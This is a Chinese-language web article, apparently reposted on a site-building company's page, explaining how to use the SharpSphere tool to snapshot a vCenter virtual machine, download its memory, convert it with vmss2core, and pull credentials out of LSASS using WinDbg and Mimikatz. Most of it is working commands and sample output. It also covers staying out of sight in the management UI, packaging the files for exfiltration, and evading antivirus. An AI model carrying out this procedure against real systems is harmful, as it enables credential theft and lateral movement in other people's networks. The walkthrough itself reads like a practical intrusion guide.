這篇文章主要介紹“如何理解SharpSphere dump LSASS內(nèi)存”，在日常操作中，相信很多人在如何理解SharpSphere dump LSASS內(nèi)存問(wèn)題上存在疑惑，小編查閱了各式資料，整理出簡(jiǎn)單好用的操作方法，希望對(duì)大家解答”如何理解SharpSphere dump LSASS內(nèi)存”的疑惑有所幫助！接下來(lái)，請(qǐng)跟著小編一起來(lái)學(xué)習(xí)吧！

創(chuàng)新互聯(lián)公司專業(yè)為企業(yè)提供鄂托克前網(wǎng)站建設(shè)、鄂托克前做網(wǎng)站、鄂托克前網(wǎng)站設(shè)計(jì)、鄂托克前網(wǎng)站制作等企業(yè)網(wǎng)站建設(shè)、網(wǎng)頁(yè)設(shè)計(jì)與制作、鄂托克前企業(yè)網(wǎng)站模板建站服務(wù)，10余年鄂托克前做網(wǎng)站經(jīng)驗(yàn)，不只是建網(wǎng)站，更提供有價(jià)值的思路和整體網(wǎng)絡(luò)服務(wù)。

但是到現(xiàn)在為止，在實(shí)際操作上很難發(fā)揮作用，主要原因是：

1.需要驗(yàn)證vCenter/ESXi

2.為目標(biāo)VM創(chuàng)建帶有內(nèi)存的的快照

3.需要將數(shù)據(jù)下載到本地，（通常非常大）.vmem和.vmsn文件

4.通過(guò)Volatility來(lái)運(yùn)行

5.使用vmss2core轉(zhuǎn)換為.dmp并通過(guò)Mimikatz 和 WinDbg運(yùn)行

參數(shù)

Z:\>SharpSphere.exe dump --help
SharpSphere 1.0.0.0
Copyright ?  2020

  --url            Required. vCenter SDK URL, i.e. https://127.0.0.1/sdk

  --username       Required. vCenter username, i.e. administrator@vsphere.local

  --password       Required. vCenter password

  --targetvm       Required. VM to snapshot

  --snapshot       (Default: false) WARNING: Creates and then deletes a snapshot. If unset, SharpSphere will only
                   extract memory from last existing snapshot, or none if no snapshots are available.

  --destination    Required. Full path to the local directory where the file should be downloaded

  --help           Display this help screen.

  --version        Display version information.

–snapshot

默認(rèn)情況下，SharpSphere不會(huì)試圖創(chuàng)建一個(gè)快照，而會(huì)試圖從現(xiàn)有的快照找到有效.vmem和.vmsn文件。從OpSec的角度來(lái)看，這是可取的，因?yàn)閁I中沒(méi)有證據(jù)，但是不能保證目標(biāo)上有快照，而且這些快照有沒(méi)有捕獲了VM的內(nèi)存也是問(wèn)題。所以如果現(xiàn)有快照不存在，SharpSphere將退出。

所以--snapshot參數(shù)規(guī)定，SharpSphere會(huì)創(chuàng)建一個(gè)名為System Backup [TIMESTAMP]的快照，下載相關(guān)聯(lián)的“.vmem和.vmsn文件，然后刪除快照一旦完成。Recent Tasks窗口中的其他用戶將同時(shí)看到快照的創(chuàng)建和刪除。

當(dāng)然--snapshot可以先查看是否存在現(xiàn)有快照

-destination

SharpSphere需要從快照下載兩個(gè)文件，一個(gè)大小等于分配給該機(jī)器的RAM的（即4GB，8GB，16GB等）的.vmem文件，以及一個(gè)小得多的.vmsn文件。它將這些文件下載到--destination指定的目錄中。但下載完這兩個(gè)文件，SharpSphere會(huì)將它們都添加到具有隨機(jī)名稱的zip文件中，然后將其刪除。

介紹

1.使用以下參數(shù)執(zhí)行SharpSphere（提示：使用獲取虛擬機(jī)名稱list）：

SharpSphere.exe dump --url https://[IP or FQDN]/sdk --username [USERNAME] --password [PASSWORD] --targetvm [NAME OF VM] --destination [LOCATION TO DOWNLOAD FILES]

示例輸出

C:\Users\Administrator\Desktop>SharpSphere.exe dump --url https://vcenter.globex.com/sdk --username administrator@vsphere.local --password Password1! --targetvm "Windows 10" --destination "C:\Users\Public"
 [x] Disabling SSL checks in case vCenter is using untrusted/self-signed certificates
 [x] Creating vSphere API interface, takes a few minutes...
 [x] Connected to VMware vCenter Server 7.0.1 build-17005016
 [x] Successfully authenticated
 [x] Finding existing snapshots for Windows 10...
 Error: No existing snapshots found for the VM Windows 10, recommend you try again with --snapshot set

2.如果不存在快照，添加一個(gè)參數(shù)--snapshot

SharpSphere.exe dump --url https://vcenter.globex.com/sdk --username administrator@vsphere.local --password Password1! --targetvm "Windows 10" --destination "C:\Users\Public" --snapshot
 [x] Disabling SSL checks in case vCenter is using untrusted/self-signed certificates
 [x] Creating vSphere API interface, takes a few minutes...
 [x] Connected to VMware vCenter Server 7.0.1 build-17005016
 [x] Successfully authenticated
 [x] Creating snapshot for VM Windows 10...
 [x] Snapshot created successfully
 [x] Downloading Windows 10-Snapshot51.vmem (4096MB) to C:\Users\Public\z53dqmxx.5bz...
 [x] Downloading Windows 10-Snapshot51.vmsn to C:\Users\Public\hwu5gv2d.ezv...
 [x] Download complete, zipping up so it's easier to exfiltrate...
 [x] Zipping complete, download C:\Users\Public\cec0kwgk.b2m (916MB), rename to .zip, and follow instructions to use with Mimikatz
 [x] Deleting the snapshot we created

3.如果你使用cs之類(lèi)的工具，可以直接在目標(biāo)機(jī)器上加載遠(yuǎn)程加載程序?；蛘?，將工具上傳到目標(biāo)機(jī)上，但要做好免殺處理。

4.在這種情況下cec0kwgk.b2m，將隨機(jī)重命名為zip文件，然后解壓縮這兩個(gè)文件。較大的是您的.vmem文件。

5.下載vmss2core并先提供較小的.vmsn文件，然后再提供較大的.vmem文件。如果目標(biāo)VM是Microsoft Windows 8 / 8.1，Windows Server 2012，Windows Server 2016或Windows Server 2019，則執(zhí)行以下命令-W8：

vmss2core-sb-8456865.exe -W8 hwu5gv2d.ezv z53dqmxx.5bz

否則使用-W：

vmss2core-sb-8456865.exe -W hwu5gv2d.ezv z53dqmxx.5bz

6.下載WinDbg并加載.dmp文件。vmss2core Crash Dump

7.下載Mimikatz并使用WinDbg加載Mimilib.dll

.load C:\Tools\Mimikatz\x64\mimilib.dll

8.查找LSASS 進(jìn)程

!process 0 0 lsass.exe

9.切換進(jìn)程

.process /r /p ffffc70462d020c0

10.獲取憑證

!mimikatz?

到此，關(guān)于“如何理解SharpSphere dump LSASS內(nèi)存”的學(xué)習(xí)就結(jié)束了，希望能夠解決大家的疑惑。理論與實(shí)踐的搭配能更好的幫助大家學(xué)習(xí)，快去試試吧！若想繼續(xù)學(xué)習(xí)更多相關(guān)知識(shí)，請(qǐng)繼續(xù)關(guān)注創(chuàng)新互聯(lián)網(wǎng)站，小編會(huì)繼續(xù)努力為大家?guī)?lái)更多實(shí)用的文章！

新聞標(biāo)題：如何理解SharpSpheredumpLSASS內(nèi)存
轉(zhuǎn)載來(lái)源：http://chinadenli.net/article14/gidhde.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián)，為您提供定制開(kāi)發(fā)、品牌網(wǎng)站制作、自適應(yīng)網(wǎng)站、網(wǎng)站設(shè)計(jì)公司、電子商務(wù)、商城網(wǎng)站

廣告

聲明：本網(wǎng)站發(fā)布的內(nèi)容（圖片、視頻和文字）以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主，如果涉及侵權(quán)請(qǐng)盡快告知，我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng)，如需處理請(qǐng)聯(lián)系客服。電話：028-86922220；郵箱：631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載，或轉(zhuǎn)載時(shí)需注明來(lái)源： 創(chuàng)新互聯(lián)